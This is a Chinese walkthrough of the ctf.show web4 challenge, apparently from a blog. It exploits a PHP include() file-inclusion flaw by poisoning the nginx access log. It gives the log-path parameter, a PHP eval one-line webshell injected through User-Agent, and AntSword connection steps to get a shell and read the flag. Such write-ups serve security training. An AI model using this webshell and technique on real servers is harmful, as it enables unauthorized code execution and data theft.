ctfshow-WEB-web4

简介: tf.show WEB模块第4关是一个文件包含漏洞,页面提示了源码中的关键代码,使用include()函数接收url参数,include()函数包含的文件会被执行,从而造成任意代码执行,或者配合伪协议获取敏感文件甚至getshell;然而这一关伪协议不起作用,我们可以通过日志注入进行任意命令执行,从而getshell

ctf.show WEB模块第4关是一个文件包含漏洞,页面提示了源码中的关键代码,使用include()函数接收url参数,include()函数包含的文件会被执行,从而造成任意代码执行,或者配合伪协议获取敏感文件甚至getshell;


然而这一关伪协议不起作用,我们可以通过日志注入进行任意命令执行,从而getshell


image.png

页面最明显的位置展示了源码的核心,提示我们利用文件包含漏洞

image.png

包含日志文件,查看日志文件的信息,可以看到日志文件中保存了网站的访问记录,包括HTTP请求行,Referer,User-Agent等HTTP请求的信息

?url=/var/log/nginx/access.log

image.png

使用代理工具(Burp Suite)抓包,在User-Agent中插入一句话木马

<?php eval($_POST['-7'])?>


很明显,日志文件的内容多了一条访问记录,但没有我们插入的一句话木马,这很正常,因为日志文件中的代码会被执行,而不会显示


image.png



我们使用蚁剑链接日志文件的路径,getshell


image.png



使用蚁剑的文件管理功能,www目录下有一个flag.txt文件,很明显flag就在这里面

image.png

复制文件内容到输入框中提交flag,即可过关

ctfshow{e2d53849-48b3-48d4-87cf-ab48601708f3}
相关实践学习
【涂鸦即艺术】基于云应用开发平台CAP部署AI实时生图绘板
【涂鸦即艺术】基于云应用开发平台CAP部署AI实时生图绘板
相关文章
|
安全 PHP
ctfshow-萌新-web13( 利用代码执行漏洞获取网站敏感文件)
ctf.show 萌新模块 web13关, 这一关的考点是代码执行漏洞, 需要灵活的运用各种命令执行函数, 源码中过滤了system, exec, highlight函数, cat命令, congfig, php, 点和分号等关键字, 推荐使用反引号`` 进行绕过
752 0
ctfshow-萌新-web13( 利用代码执行漏洞获取网站敏感文件)
|
SQL 安全 数据库
ctfshow-WEB-web6
ctf.show WEB模块第6关是一个SQL注入漏洞,注入点是单引号字符型注入,并且过滤了空格,我们可以使用括号()或者注释/**/绕过
572 0
ctfshow-WEB-web6
|
安全 PHP
ctfshow-萌新-web10( 利用命令执行漏洞获取网站敏感信息)
ctf.show 萌新模块 web10关,这一关考察的是命令执行漏洞的利用,闯关者需要知道3个以上PHP命令执行函数的使用,推荐使用 passthru()
432 0
ctfshow-萌新-web10( 利用命令执行漏洞获取网站敏感信息)
|
前端开发 PHP 开发工具
CTFshow 信息搜集篇 web1-web20
CTFshow 信息搜集篇 web1-web20
481 0
|
SQL 存储 关系型数据库
ctfshow-web9(奇妙的ffifdyop绕过)
ctfshow-web9(奇妙的ffifdyop绕过)
491 1
ctfshow-web9(奇妙的ffifdyop绕过)
|
数据库 数据安全/隐私保护
BUUCTF---[极客大挑战 2019]BabySQL1
BUUCTF---[极客大挑战 2019]BabySQL1
|
PHP
ctfshow-web3(伪协议php://input的利用)
ctfshow-web3(伪协议php://input的利用)
1020 0
|
安全 中间件 应用服务中间件
ctfshow-web4(文件包含&日志注入)
ctfshow-web4(文件包含&日志注入)
930 0
|
SQL 安全 前端开发
ctfshow-WEB-web8
ctf.show WEB模块第8关是一个SQL 注入漏洞, 注入点是数值型, 注入类型推荐使用布尔盲注,此关卡过滤了空格,逗号,and,union等关键字, 1. 过滤空格, 可以使用括号() 或者注释/**/ 绕过 2. 过滤and, 可以使用or替代 3. 过滤union, 可以用盲注替代联合注入 4. 过滤逗号, 可以使用特殊语法绕过, 比如:substr(database(),1,1) 可以用substr(database() from 1 for 1)来代替
1132 1
ctfshow-WEB-web8
|
安全 PHP
ctfshow-WEB-web3
ctf.show WEB模块的第3关是一个文件包含漏洞,include()函数包含的文件会被执行,我们使用PHP伪协议配合抓包工具进行命令执行,从而获取flag 这一关的flag就存放在网站跟路径下的文件中 php://input 可以访问请求的原始数据,配合文件包含漏洞可以将post请求体中的内容当做文件内容执行,enctype=multipart/form-data"时,php:/input将会无效
750 0
ctfshow-WEB-web3